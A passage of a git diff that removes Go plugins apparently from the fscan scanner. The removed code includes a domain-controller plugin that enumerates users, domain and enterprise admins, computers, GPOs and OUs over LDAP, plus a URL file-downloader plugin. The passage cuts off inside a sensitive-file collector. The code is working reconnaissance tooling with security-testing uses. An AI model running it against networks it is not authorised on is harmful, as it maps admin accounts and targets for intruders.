common.LogError(fmt.Sprintf("获取域用户失败: %v", err)) - } - - // 获取域管理员详细信息 - if admins, err := p.getDomainAdminsDetailed(domainConn); err == nil { - domainData["domain_admins"] = admins - p.logDomainAdmins(admins) - } else { - common.LogError(fmt.Sprintf("获取域管理员失败: %v", err)) - } - - // 获取计算机详细信息 - if computers, err := p.getComputersDetailed(domainConn); err == nil { - domainData["computers"] = computers - p.logComputers(computers) - } else { - common.LogError(fmt.Sprintf("获取域计算机失败: %v", err)) - } - - // 获取组策略信息 - common.LogDebug("开始获取组策略信息...") - if gpos, err := p.getGroupPolicies(domainConn); err == nil { - domainData["group_policies"] = gpos - p.logGroupPolicies(gpos) - common.LogDebug(fmt.Sprintf("成功获取 %d 个GPO", len(gpos))) - } else { - common.LogError(fmt.Sprintf("获取组策略失败: %v", err)) - } - - // 获取OU信息 - common.LogDebug("开始获取组织单位信息...") - if ous, err := p.getOrganizationalUnits(domainConn); err == nil { - domainData["organizational_units"] = ous - p.logOrganizationalUnits(ous) - common.LogDebug(fmt.Sprintf("成功获取 %d 个OU", len(ous))) - } else { - common.LogError(fmt.Sprintf("获取组织单位失败: %v", err)) - } - - // 获取系统信息 - systemInfo := p.GetSystemInfo() - - result := &base.ScanResult{ - Success: len(domainData) > 0, - Service: "DCInfo", - Banner: fmt.Sprintf("检测完成: 域: %s (BaseDN: %s)", domainConn.Domain, domainConn.BaseDN), - Extra: map[string]interface{}{ - "domain_data": domainData, - "system_info": systemInfo, - }, - } - - common.LogSuccess("域控制器信息收集完成") - return result, nil -} - -// getDomainInfo 获取域基本信息 -func (p *DCInfoPlugin) getDomainInfo(conn *DomainInfo) (map[string]interface{}, error) { - searchRequest := ldap.NewSearchRequest( - conn.BaseDN, - ldap.ScopeBaseObject, - ldap.NeverDerefAliases, - 0, 0, false, - "(objectClass=*)", - []string{"whenCreated", "whenChanged", "objectSid", "msDS-Behavior-Version", "dnsRoot"}, - nil, - ) - - sr, err := conn.LDAPConn.Search(searchRequest) - if err != nil { - return nil, err - } - - domainInfo := make(map[string]interface{}) - domainInfo["domain"] = conn.Domain - domainInfo["base_dn"] = conn.BaseDN - - if len(sr.Entries) > 0 { - entry := sr.Entries[0] - domainInfo["created"] = entry.GetAttributeValue("whenCreated") - domainInfo["modified"] = entry.GetAttributeValue("whenChanged") - domainInfo["object_sid"] = entry.GetAttributeValue("objectSid") - domainInfo["functional_level"] = entry.GetAttributeValue("msDS-Behavior-Version") - domainInfo["dns_root"] = entry.GetAttributeValue("dnsRoot") - } - - return domainInfo, nil -} - -// getDomainControllers 获取域控制器详细信息 -func (p *DCInfoPlugin) getDomainControllers(conn *DomainInfo) ([]map[string]interface{}, error) { - dcQuery := ldap.NewSearchRequest( - conn.BaseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, 0, false, - "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))", - []string{"cn", "dNSHostName", "operatingSystem", "operatingSystemVersion", "operatingSystemServicePack", "whenCreated", "lastLogonTimestamp"}, - nil, - ) - - sr, err := conn.LDAPConn.SearchWithPaging(dcQuery, 10000) - if err != nil { - return nil, err - } - - var dcs []map[string]interface{} - for _, entry := range sr.Entries { - dc := make(map[string]interface{}) - dc["name"] = entry.GetAttributeValue("cn") - dc["dns_name"] = entry.GetAttributeValue("dNSHostName") - dc["os"] = entry.GetAttributeValue("operatingSystem") - dc["os_version"] = entry.GetAttributeValue("operatingSystemVersion") - dc["os_service_pack"] = entry.GetAttributeValue("operatingSystemServicePack") - dc["created"] = entry.GetAttributeValue("whenCreated") - dc["last_logon"] = entry.GetAttributeValue("lastLogonTimestamp") - dcs = append(dcs, dc) - } - - return dcs, nil -} - -// getDomainUsersDetailed 获取域用户详细信息 -func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainInfo) ([]map[string]interface{}, error) { - searchRequest := ldap.NewSearchRequest( - conn.BaseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, 0, false, - "(&(objectCategory=person)(objectClass=user))", - []string{"sAMAccountName", "displayName", "mail", "userAccountControl", "whenCreated", "lastLogonTimestamp", "badPwdCount", "pwdLastSet"}, - nil, - ) - - sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 0) // 获取所有用户 - if err != nil { - return nil, err - } - - var users []map[string]interface{} - for _, entry := range sr.Entries { - user := make(map[string]interface{}) - user["username"] = entry.GetAttributeValue("sAMAccountName") - user["display_name"] = entry.GetAttributeValue("displayName") - user["email"] = entry.GetAttributeValue("mail") - user["account_control"] = entry.GetAttributeValue("userAccountControl") - user["created"] = entry.GetAttributeValue("whenCreated") - user["last_logon"] = entry.GetAttributeValue("lastLogonTimestamp") - user["bad_pwd_count"] = entry.GetAttributeValue("badPwdCount") - user["pwd_last_set"] = entry.GetAttributeValue("pwdLastSet") - - // 分析用户状态 - if uac := entry.GetAttributeValue("userAccountControl"); uac != "" { - user["account_status"] = p.parseUserAccountControl(uac) - } - - users = append(users, user) - } - - return users, nil -} - -// getDomainAdminsDetailed 获取域管理员详细信息 -func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainInfo) ([]map[string]interface{}, error) { - // 获取Domain Admins组 - searchRequest := ldap.NewSearchRequest( - conn.BaseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, 0, false, - "(&(objectCategory=group)(cn=Domain Admins))", - []string{"member"}, - nil, - ) - - sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 10000) - if err != nil { - return nil, err - } - - var admins []map[string]interface{} - if len(sr.Entries) > 0 { - members := sr.Entries[0].GetAttributeValues("member") - for _, memberDN := range members { - // 获取管理员详细信息 - adminInfo, err := p.getUserInfoByDN(conn, memberDN) - if err == nil { - admins = append(admins, adminInfo) - } - } - } - - // 获取Enterprise Admins组 - enterpriseAdminsRequest := ldap.NewSearchRequest( - conn.BaseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, 0, false, - "(&(objectCategory=group)(cn=Enterprise Admins))", - []string{"member"}, - nil, - ) - - if enterpriseSr, err := conn.LDAPConn.Search(enterpriseAdminsRequest); err == nil && len(enterpriseSr.Entries) > 0 { - members := enterpriseSr.Entries[0].GetAttributeValues("member") - for _, memberDN := range members { - adminInfo, err := p.getUserInfoByDN(conn, memberDN) - if err == nil { - adminInfo["group_type"] = "Enterprise Admins" - admins = append(admins, adminInfo) - } - } - } - - return admins, nil -} - -// getComputersDetailed 获取域计算机详细信息 -func (p *DCInfoPlugin) getComputersDetailed(conn *DomainInfo) ([]map[string]interface{}, error) { - searchRequest := ldap.NewSearchRequest( - conn.BaseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, 0, false, - "(&(objectClass=computer)(!userAccountControl:1.2.840.113556.1.4.803:=8192))", // 排除域控制器 - []string{"cn", "operatingSystem", "operatingSystemVersion", "dNSHostName", "whenCreated", "lastLogonTimestamp", "userAccountControl"}, - nil, - ) - - sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 0) // 获取所有计算机 - if err != nil { - return nil, err - } - - var computers []map[string]interface{} - for _, entry := range sr.Entries { - computer := make(map[string]interface{}) - computer["name"] = entry.GetAttributeValue("cn") - computer["os"] = entry.GetAttributeValue("operatingSystem") - computer["os_version"] = entry.GetAttributeValue("operatingSystemVersion") - computer["dns_name"] = entry.GetAttributeValue("dNSHostName") - computer["created"] = entry.GetAttributeValue("whenCreated") - computer["last_logon"] = entry.GetAttributeValue("lastLogonTimestamp") - computer["account_control"] = entry.GetAttributeValue("userAccountControl") - computers = append(computers, computer) - } - - return computers, nil -} - -// getUserInfoByDN 根据DN获取用户信息 -func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainInfo, userDN string) (map[string]interface{}, error) { - searchRequest := ldap.NewSearchRequest( - userDN, - ldap.ScopeBaseObject, - ldap.NeverDerefAliases, - 0, 0, false, - "(objectClass=*)", - []string{"sAMAccountName", "displayName", "mail", "whenCreated", "lastLogonTimestamp", "userAccountControl"}, - nil, - ) - - sr, err := conn.LDAPConn.Search(searchRequest) - if err != nil { - return nil, err - } - - if len(sr.Entries) == 0 { - return nil, fmt.Errorf("用户不存在") - } - - entry := sr.Entries[0] - userInfo := make(map[string]interface{}) - userInfo["dn"] = userDN - userInfo["username"] = entry.GetAttributeValue("sAMAccountName") - userInfo["display_name"] = entry.GetAttributeValue("displayName") - userInfo["email"] = entry.GetAttributeValue("mail") - userInfo["created"] = entry.GetAttributeValue("whenCreated") - userInfo["last_logon"] = entry.GetAttributeValue("lastLogonTimestamp") - userInfo["group_type"] = "Domain Admins" - - return userInfo, nil -} - -// getGroupPolicies 获取组策略信息 -func (p *DCInfoPlugin) getGroupPolicies(conn *DomainInfo) ([]map[string]interface{}, error) { - common.LogDebug("开始搜索GPO...") - common.LogDebug(fmt.Sprintf("使用BaseDN: %s", conn.BaseDN)) - - var gpos []map[string]interface{} - - // 直接使用objectClass=groupPolicyContainer查询,这是最准确的方法 - searchRequest := ldap.NewSearchRequest( - conn.BaseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, 0, false, - "(objectClass=groupPolicyContainer)", - []string{"cn", "displayName", "objectClass", "distinguishedName", "whenCreated", "whenChanged", "gPCFileSysPath"}, - nil, - ) - - // 尝试不同的搜索方法 - sr, err := conn.LDAPConn.Search(searchRequest) - if err != nil { - common.LogDebug(fmt.Sprintf("GPO搜索失败,尝试SearchWithPaging: %v", err)) - // 如果普通搜索失败,尝试分页搜索 - sr, err = conn.LDAPConn.SearchWithPaging(searchRequest, 1000) - if err != nil { - common.LogDebug(fmt.Sprintf("GPO分页搜索也失败: %v", err)) - return nil, err - } - } - - common.LogDebug(fmt.Sprintf("GPO搜索找到 %d 个对象", len(sr.Entries))) - - for _, entry := range sr.Entries { - classes := entry.GetAttributeValues("objectClass") - displayName := entry.GetAttributeValue("displayName") - dn := entry.GetAttributeValue("distinguishedName") - cn := entry.GetAttributeValue("cn") - - common.LogDebug(fmt.Sprintf("检查GPO对象: %s, CN: %s, DN: %s", displayName, cn, dn)) - common.LogDebug(fmt.Sprintf("对象类: %v", classes)) - - // 直接添加到结果中,因为查询条件已经保证是GPO - gpo := make(map[string]interface{}) - gpo["guid"] = cn - gpo["display_name"] = displayName - gpo["created"] = entry.GetAttributeValue("whenCreated") - gpo["modified"] = entry.GetAttributeValue("whenChanged") - gpo["file_sys_path"] = entry.GetAttributeValue("gPCFileSysPath") - gpo["dn"] = dn - gpos = append(gpos, gpo) - - common.LogDebug(fmt.Sprintf("添加GPO: %s [%s]", displayName, cn)) - } - - common.LogDebug(fmt.Sprintf("最终找到 %d 个GPO", len(gpos))) - return gpos, nil -} - -// getOrganizationalUnits 获取组织单位信息 -func (p *DCInfoPlugin) getOrganizationalUnits(conn *DomainInfo) ([]map[string]interface{}, error) { - common.LogDebug("开始搜索OU和容器...") - common.LogDebug(fmt.Sprintf("使用BaseDN: %s", conn.BaseDN)) - - var ous []map[string]interface{} - - // 方法1: 使用更广泛的查询来查找所有可能的OU/容器对象 - allRequest := ldap.NewSearchRequest( - conn.BaseDN, - ldap.ScopeWholeSubtree, - ldap.NeverDerefAliases, - 0, 0, false, - "(objectClass=*)", - []string{"ou", "cn", "name", "description", "objectClass", "distinguishedName", "whenCreated", "gPLink"}, - nil, - ) - - sr, err := conn.LDAPConn.SearchWithPaging(allRequest, 100) // 限制100个以避免过多输出 - if err != nil { - common.LogDebug(fmt.Sprintf("广泛搜索失败: %v", err)) - } else { - common.LogDebug(fmt.Sprintf("广泛搜索找到 %d 个对象", len(sr.Entries))) - - ouCount := 0 - containerCount := 0 - - for _, entry := range sr.Entries { - objectClasses := entry.GetAttributeValues("objectClass") - dn := entry.GetAttributeValue("distinguishedName") - - // 检查对象类型 - isOU := false - isContainer := false - for _, class := range objectClasses { - if class == "organizationalUnit" { - isOU = true - ouCount++ - } else if class == "container" { - isContainer = true - containerCount++ - } - } - - if !isOU && !isContainer { - continue - } - - // 获取名称 - name := entry.GetAttributeValue("ou") - if name == "" { - name = entry.GetAttributeValue("cn") - } - if name == "" { - name = entry.GetAttributeValue("name") - } - - // 跳过系统容器,但保留重要的容器 - if strings.Contains(dn, "CN=LostAndFound") || - strings.Contains(dn, "CN=Configuration") || - strings.Contains(dn, "CN=Schema") || - strings.Contains(dn, "CN=System") || - strings.Contains(dn, "CN=Program Data") || - strings.Contains(dn, "CN=Microsoft") || - strings.Contains(dn, "CN=WinsockServices") || - strings.Contains(dn, "CN=RpcServices") || - (strings.HasPrefix(dn, "CN=") && len(name) == 36 && strings.Count(name, "-") == 4) { // 跳过GUID格式的容器 - continue - } - - if name != "" { - common.LogDebug(fmt.Sprintf("找到%s: %s (DN: %s)", - map[bool]string{true: "OU", false: "容器"}[isOU], name, dn)) - - ou := make(map[string]interface{}) - ou["name"] = name - ou["description"] = entry.GetAttributeValue("description") - ou["created"] = entry.GetAttributeValue("whenCreated") - ou["gp_link"] = entry.GetAttributeValue("gPLink") - ou["dn"] = dn - ou["is_ou"] = isOU - ous = append(ous, ou) - } - } - - common.LogDebug(fmt.Sprintf("统计: %d 个OU对象, %d 个容器对象", ouCount, containerCount)) - } - - common.LogDebug(fmt.Sprintf("最终找到 %d 个OU/容器", len(ous))) - return ous, nil -} - -// parseUserAccountControl 解析用户账户控制 -func (p *DCInfoPlugin) parseUserAccountControl(uac string) map[string]bool { - status := make(map[string]bool) - - // 简化的UAC解析,实际使用时可能需要更完整的实现 - status["account_disabled"] = false - status["password_not_required"] = false - status["account_locked"] = false - status["password_never_expires"] = false - - return status -} - -// logDomainInfo 记录域基本信息 -func (p *DCInfoPlugin) logDomainInfo(domainInfo map[string]interface{}) { - if domain, ok := domainInfo["domain"]; ok { - common.LogSuccess(fmt.Sprintf("域名: %v", domain)) - } - if baseDN, ok := domainInfo["base_dn"]; ok { - common.LogSuccess(fmt.Sprintf("Base DN: %v", baseDN)) - } - if created, ok := domainInfo["created"]; ok && created != "" { - common.LogBase(fmt.Sprintf("域创建时间: %v", created)) - } -} - -// logDomainControllers 记录域控制器信息 -func (p *DCInfoPlugin) logDomainControllers(dcs []map[string]interface{}) { - if len(dcs) > 0 { - common.LogSuccess(fmt.Sprintf("发现 %d 个域控制器", len(dcs))) - for _, dc := range dcs { - if name, ok := dc["name"]; ok { - common.LogBase(fmt.Sprintf(" - %v (%v)", name, dc["dns_name"])) - if os, ok := dc["os"]; ok && os != "" { - common.LogBase(fmt.Sprintf(" 操作系统: %v", os)) - } - } - } - } -} - -// logDomainUsers 记录域用户信息 -func (p *DCInfoPlugin) logDomainUsers(users []map[string]interface{}) { - if len(users) > 0 { - common.LogSuccess(fmt.Sprintf("发现 %d 个域用户", len(users))) - for _, user := range users { - if username, ok := user["username"]; ok && username != "" { - displayInfo := fmt.Sprintf(" - %v", username) - if displayName, ok := user["display_name"]; ok && displayName != "" { - displayInfo += fmt.Sprintf(" (%v)", displayName) - } - if email, ok := user["email"]; ok && email != "" { - displayInfo += fmt.Sprintf(" [%v]", email) - } - if created, ok := user["created"]; ok && created != "" { - displayInfo += fmt.Sprintf(" 创建时间: %v", created) - } - common.LogBase(displayInfo) - } - } - } -} - -// logDomainAdmins 记录域管理员信息 -func (p *DCInfoPlugin) logDomainAdmins(admins []map[string]interface{}) { - if len(admins) > 0 { - common.LogSuccess(fmt.Sprintf("发现 %d 个域管理员", len(admins))) - for _, admin := range admins { - if username, ok := admin["username"]; ok && username != "" { - adminInfo := fmt.Sprintf(" - %v", username) - if displayName, ok := admin["display_name"]; ok && displayName != "" { - adminInfo += fmt.Sprintf(" (%v)", displayName) - } - if email, ok := admin["email"]; ok && email != "" { - adminInfo += fmt.Sprintf(" [%v]", email) - } - if groupType, ok := admin["group_type"]; ok { - adminInfo += fmt.Sprintf(" 组: %v", groupType) - } - if created, ok := admin["created"]; ok && created != "" { - adminInfo += fmt.Sprintf(" 创建时间: %v", created) - } - if lastLogon, ok := admin["last_logon"]; ok && lastLogon != "" { - adminInfo += fmt.Sprintf(" 最后登录: %v", lastLogon) - } - common.LogBase(adminInfo) - } - } - } -} - -// logComputers 记录计算机信息 -func (p *DCInfoPlugin) logComputers(computers []map[string]interface{}) { - if len(computers) > 0 { - common.LogSuccess(fmt.Sprintf("发现 %d 台域计算机", len(computers))) - for _, computer := range computers { - if name, ok := computer["name"]; ok && name != "" { - computerInfo := fmt.Sprintf(" - %v", name) - if os, ok := computer["os"]; ok && os != "" { - computerInfo += fmt.Sprintf(" (%v)", os) - } - if osVersion, ok := computer["os_version"]; ok && osVersion != "" { - computerInfo += fmt.Sprintf(" %v", osVersion) - } - if dnsName, ok := computer["dns_name"]; ok && dnsName != "" { - computerInfo += fmt.Sprintf(" [%v]", dnsName) - } - if created, ok := computer["created"]; ok && created != "" { - computerInfo += fmt.Sprintf(" 创建时间: %v", created) - } - common.LogBase(computerInfo) - } - } - } -} - -// logGroupPolicies 记录组策略信息 -func (p *DCInfoPlugin) logGroupPolicies(gpos []map[string]interface{}) { - if len(gpos) > 0 { - common.LogSuccess(fmt.Sprintf("发现 %d 个组策略对象", len(gpos))) - for _, gpo := range gpos { - if displayName, ok := gpo["display_name"]; ok && displayName != "" { - gpoInfo := fmt.Sprintf(" - %v", displayName) - if guid, ok := gpo["guid"]; ok { - gpoInfo += fmt.Sprintf(" [%v]", guid) - } - if created, ok := gpo["created"]; ok && created != "" { - gpoInfo += fmt.Sprintf(" 创建时间: %v", created) - } - if modified, ok := gpo["modified"]; ok && modified != "" { - gpoInfo += fmt.Sprintf(" 修改时间: %v", modified) - } - common.LogBase(gpoInfo) - } - } - } -} - -// logOrganizationalUnits 记录组织单位信息 -func (p *DCInfoPlugin) logOrganizationalUnits(ous []map[string]interface{}) { - if len(ous) > 0 { - common.LogSuccess(fmt.Sprintf("发现 %d 个组织单位和容器", len(ous))) - for _, ou := range ous { - if name, ok := ou["name"]; ok && name != "" { - ouInfo := fmt.Sprintf(" - %v", name) - - // 显示类型 - if isOU, ok := ou["is_ou"]; ok && isOU.(bool) { - ouInfo += " [OU]" - } else if isContainer, ok := ou["is_container"]; ok && isContainer.(bool) { - ouInfo += " [Container]" - } - - if desc, ok := ou["description"]; ok && desc != "" { - ouInfo += fmt.Sprintf(" 描述: %v", desc) - } - if created, ok := ou["created"]; ok && created != "" { - ouInfo += fmt.Sprintf(" 创建: %v", created) - } - if gpLink, ok := ou["gp_link"]; ok && gpLink != "" && gpLink != "" { - ouInfo += " [有GPO链接]" - } - common.LogBase(ouInfo) - } - } - } -} - -// GetLocalData 获取域本地数据 -func (p *DCInfoPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { - data := make(map[string]interface{}) - data["plugin_type"] = "dcinfo" - data["requires_domain"] = true - return data, nil -} - -// ExtractData 提取域数据 -func (p *DCInfoPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { - return &base.ExploitResult{ - Success: true, - Output: "域控信息收集完成", - Data: data, - }, nil -} - -// RegisterDCInfoPlugin 注册域控信息收集插件 -func RegisterDCInfoPlugin() { - factory := base.NewSimplePluginFactory( - &base.PluginMetadata{ - Name: "dcinfo", - Version: "1.0.0", - Author: "fscan-team", - Description: "Windows域控制器信息收集插件", - Category: "local", - Tags: []string{"local", "domain", "ldap", "windows"}, - Protocols: []string{"local"}, - }, - func() base.Plugin { - return NewDCInfoPlugin() - }, - ) - - base.GlobalPluginRegistry.Register("dcinfo", factory) -} - -// GetInfo 获取插件信息 -func (p *DCInfoPlugin) GetInfo() string { - var info strings.Builder - - info.WriteString("Windows域控制器信息收集插件\n") - info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", "))) - info.WriteString("功能: 收集域用户、计算机、组策略、OU等信息\n") - info.WriteString("要求: 必须在域环境中运行\n") - - return info.String() -} - -// 插件注册函数 -func init() { - RegisterDCInfoPlugin() -} \ No newline at end of file diff --git a/plugins/local_backup/downloader/plugin.go b/plugins/local_backup/downloader/plugin.go deleted file mode 100644 index 5f0da09..0000000 --- a/plugins/local_backup/downloader/plugin.go +++ /dev/null @@ -1,338 +0,0 @@ -package downloader - -import ( - "context" - "fmt" - "io" - "net/http" - "os" - "path/filepath" - "runtime" - "strings" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" - "github.com/shadow1ng/fscan/plugins/local" -) - -// DownloaderPlugin 文件下载插件 - 跨平台支持 -type DownloaderPlugin struct { - *local.BaseLocalPlugin - - // 配置选项 - downloadURL string - savePath string - downloadTimeout time.Duration - maxFileSize int64 -} - -// NewDownloaderPlugin 创建文件下载插件 -func NewDownloaderPlugin() *DownloaderPlugin { - metadata := &base.PluginMetadata{ - Name: "downloader", - Version: "1.0.0", - Author: "fscan-team", - Description: "跨平台文件下载插件,支持从指定URL下载文件并保存到本地", - Category: "local", - Tags: []string{"local", "downloader", "file", "cross-platform"}, - Protocols: []string{"http", "https"}, - } - - plugin := &DownloaderPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), - downloadTimeout: 30 * time.Second, // 默认30秒超时 - maxFileSize: 100 * 1024 * 1024, // 默认最大100MB - } - - // 支持所有主要平台 - plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) - // 需要文件写入权限 - plugin.SetRequiresPrivileges(false) - - // 从全局参数获取配置 - plugin.downloadURL = common.DownloadURL - plugin.savePath = common.DownloadSavePath - - return plugin -} - -// Initialize 初始化插件 -func (p *DownloaderPlugin) Initialize() error { - common.LogInfo(fmt.Sprintf("初始化文件下载插件 - 平台: %s", runtime.GOOS)) - - // 验证必要参数 - if err := p.validateParameters(); err != nil { - return fmt.Errorf("参数验证失败: %v", err) - } - - // 检查保存路径权限 - if err := p.checkSavePathPermissions(); err != nil { - return fmt.Errorf("保存路径权限检查失败: %v", err) - } - - return p.BaseLocalPlugin.Initialize() -} - -// Scan 重写扫描方法以确保调用正确的ScanLocal实现 -func (p *DownloaderPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - return p.ScanLocal(ctx, info) -} - -// ScanLocal 执行文件下载任务 -func (p *DownloaderPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - common.LogInfo(fmt.Sprintf("开始下载文件: %s", p.downloadURL)) - - // 执行下载 - downloadInfo, err := p.downloadFile(ctx) - if err != nil { - return &base.ScanResult{ - Success: false, - Error: err, - }, nil - } - - result := &base.ScanResult{ - Success: true, - Service: "FileDownloader", - Banner: fmt.Sprintf("文件下载成功: %s -> %s", p.downloadURL, downloadInfo["save_path"]), - Extra: map[string]interface{}{ - "download_url": p.downloadURL, - "save_path": downloadInfo["save_path"], - "file_size": downloadInfo["file_size"], - "content_type": downloadInfo["content_type"], - "platform": runtime.GOOS, - "download_time": downloadInfo["download_time"], - }, - } - - common.LogSuccess(fmt.Sprintf("文件下载完成: %s (大小: %v bytes)", - downloadInfo["save_path"], downloadInfo["file_size"])) - - return result, nil -} - -// validateParameters 验证输入参数 -func (p *DownloaderPlugin) validateParameters() error { - if p.downloadURL == "" { - return fmt.Errorf("下载URL不能为空,请使用 -download-url 参数指定") - } - - // 验证URL格式 - if !strings.HasPrefix(strings.ToLower(p.downloadURL), "http://") && - !strings.HasPrefix(strings.ToLower(p.downloadURL), "https://") { - return fmt.Errorf("无效的URL格式,必须以 http:// 或 https:// 开头") - } - - // 如果没有指定保存路径,使用URL中的文件名 - if p.savePath == "" { - filename := p.extractFilenameFromURL(p.downloadURL) - if filename == "" { - filename = "downloaded_file" - } - p.savePath = filename - common.LogInfo(fmt.Sprintf("未指定保存路径,使用默认文件名: %s", p.savePath)) - } - - return nil -} - -// extractFilenameFromURL 从URL中提取文件名 -func (p *DownloaderPlugin) extractFilenameFromURL(url string) string { - // 移除查询参数 - if idx := strings.Index(url, "?"); idx != -1 { - url = url[:idx] - } - - // 获取路径的最后一部分 - parts := strings.Split(url, "/") - if len(parts) > 0 { - filename := parts[len(parts)-1] - if filename != "" && !strings.Contains(filename, "=") { - return filename - } - } - - return "" -} - -// checkSavePathPermissions 检查保存路径权限 -func (p *DownloaderPlugin) checkSavePathPermissions() error { - // 获取保存目录 - saveDir := filepath.Dir(p.savePath) - if saveDir == "." || saveDir == "" { - // 使用当前目录 - var err error - saveDir, err = os.Getwd() - if err != nil { - return fmt.Errorf("获取当前目录失败: %v", err) - } - p.savePath = filepath.Join(saveDir, filepath.Base(p.savePath)) - } - - // 确保目录存在 - if err := os.MkdirAll(saveDir, 0755); err != nil { - return fmt.Errorf("创建保存目录失败: %v", err) - } - - // 检查写入权限 - testFile := filepath.Join(saveDir, ".fscan_write_test") - if file, err := os.Create(testFile); err != nil { - return fmt.Errorf("保存目录无写入权限: %v", err) - } else { - file.Close() - os.Remove(testFile) - } - - common.LogInfo(fmt.Sprintf("文件将保存至: %s", p.savePath)) - return nil -} - -// downloadFile 执行文件下载 -func (p *DownloaderPlugin) downloadFile(ctx context.Context) (map[string]interface{}, error) { - startTime := time.Now() - - // 创建带超时的HTTP客户端 - client := &http.Client{ - Timeout: p.downloadTimeout, - } - - // 创建请求 - req, err := http.NewRequestWithContext(ctx, "GET", p.downloadURL, nil) - if err != nil { - return nil, fmt.Errorf("创建HTTP请求失败: %v", err) - } - - // 设置User-Agent - req.Header.Set("User-Agent", "fscan-downloader/1.0") - - common.LogInfo("正在连接到服务器...") - - // 发送请求 - resp, err := client.Do(req) - if err != nil { - return nil, fmt.Errorf("HTTP请求失败: %v", err) - } - defer resp.Body.Close() - - // 检查HTTP状态码 - if resp.StatusCode != http.StatusOK { - return nil, fmt.Errorf("HTTP请求失败,状态码: %d %s", resp.StatusCode, resp.Status) - } - - // 检查文件大小 - contentLength := resp.ContentLength - if contentLength > p.maxFileSize { - return nil, fmt.Errorf("文件过大 (%d bytes),超过最大限制 (%d bytes)", - contentLength, p.maxFileSize) - } - - common.LogInfo(fmt.Sprintf("开始下载,文件大小: %d bytes", contentLength)) - - // 创建保存文件 - outFile, err := os.Create(p.savePath) - if err != nil { - return nil, fmt.Errorf("创建保存文件失败: %v", err) - } - defer outFile.Close() - - // 使用带限制的Reader防止过大文件 - limitedReader := io.LimitReader(resp.Body, p.maxFileSize) - - // 复制数据 - written, err := io.Copy(outFile, limitedReader) - if err != nil { - // 清理部分下载的文件 - os.Remove(p.savePath) - return nil, fmt.Errorf("文件下载失败: %v", err) - } - - downloadTime := time.Since(startTime) - - // 返回下载信息 - downloadInfo := map[string]interface{}{ - "save_path": p.savePath, - "file_size": written, - "content_type": resp.Header.Get("Content-Type"), - "download_time": downloadTime, - } - - return downloadInfo, nil -} - -// GetLocalData 获取下载器本地数据 -func (p *DownloaderPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { - data := make(map[string]interface{}) - - data["plugin_type"] = "downloader" - data["platform"] = runtime.GOOS - data["download_url"] = p.downloadURL - data["save_path"] = p.savePath - data["timeout"] = p.downloadTimeout.String() - data["max_file_size"] = p.maxFileSize - - if hostname, err := os.Hostname(); err == nil { - data["hostname"] = hostname - } - - if workDir, err := os.Getwd(); err == nil { - data["work_dir"] = workDir - } - - return data, nil -} - -// ExtractData 提取数据 -func (p *DownloaderPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { - return &base.ExploitResult{ - Success: true, - Output: fmt.Sprintf("文件下载完成: %s -> %s", p.downloadURL, p.savePath), - Data: data, - Extra: map[string]interface{}{ - "download_url": p.downloadURL, - "save_path": p.savePath, - "platform": runtime.GOOS, - "status": "completed", - }, - }, nil -} - -// GetInfo 获取插件信息 -func (p *DownloaderPlugin) GetInfo() string { - var info strings.Builder - - info.WriteString("跨平台文件下载插件\n") - info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", "))) - info.WriteString(fmt.Sprintf("支持协议: %s\n", strings.Join(p.GetMetadata().Protocols, ", "))) - info.WriteString("功能: 从HTTP/HTTPS URL下载文件到本地\n") - info.WriteString("参数:\n") - info.WriteString(" -download-url: 要下载的文件URL\n") - info.WriteString(" -download-path: 保存路径 (可选,默认使用URL中的文件名)\n") - - return info.String() -} - -// RegisterDownloaderPlugin 注册文件下载插件 -func RegisterDownloaderPlugin() { - factory := base.NewSimplePluginFactory( - &base.PluginMetadata{ - Name: "downloader", - Version: "1.0.0", - Author: "fscan-team", - Description: "跨平台文件下载插件,支持从指定URL下载文件并保存到本地", - Category: "local", - Tags: []string{"downloader", "local", "file", "cross-platform"}, - Protocols: []string{"http", "https"}, - }, - func() base.Plugin { - return NewDownloaderPlugin() - }, - ) - - base.GlobalPluginRegistry.Register("downloader", factory) -} - -// init 插件注册函数 -func init() { - RegisterDownloaderPlugin() -} \ No newline at end of file diff --git a/plugins/local_backup/fileinfo/plugin.go b/plugins/local_backup/fileinfo/plugin.go deleted file mode 100644 index 7b7c87e..0000000 --- a/plugins/local_backup/fileinfo/plugin.go +++ /dev/null @@ -1,380 +0,0 @@ -package fileinfo - -import ( - "context" - "fmt" - "os" - "path/filepath" - "runtime" - "strings" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" - "github.com/shadow1ng/fscan/plugins/local" -) - -// FileInfoPlugin 文件信息收集插件 - 使用简化架构 -type FileInfoPlugin struct { - *local.BaseLocalPlugin - - // 配置选项 - blacklist []string - whitelist []string - sensitiveFiles []string - searchDirs []string -} - -// NewFileInfoPlugin 创建文件信息收集插件 - 简化版本 -func NewFileInfoPlugin() *FileInfoPlugin { - metadata := &base.PluginMetadata{ - Name: "fileinfo", - Version: "1.0.0", - Author: "fscan-team", - Description: 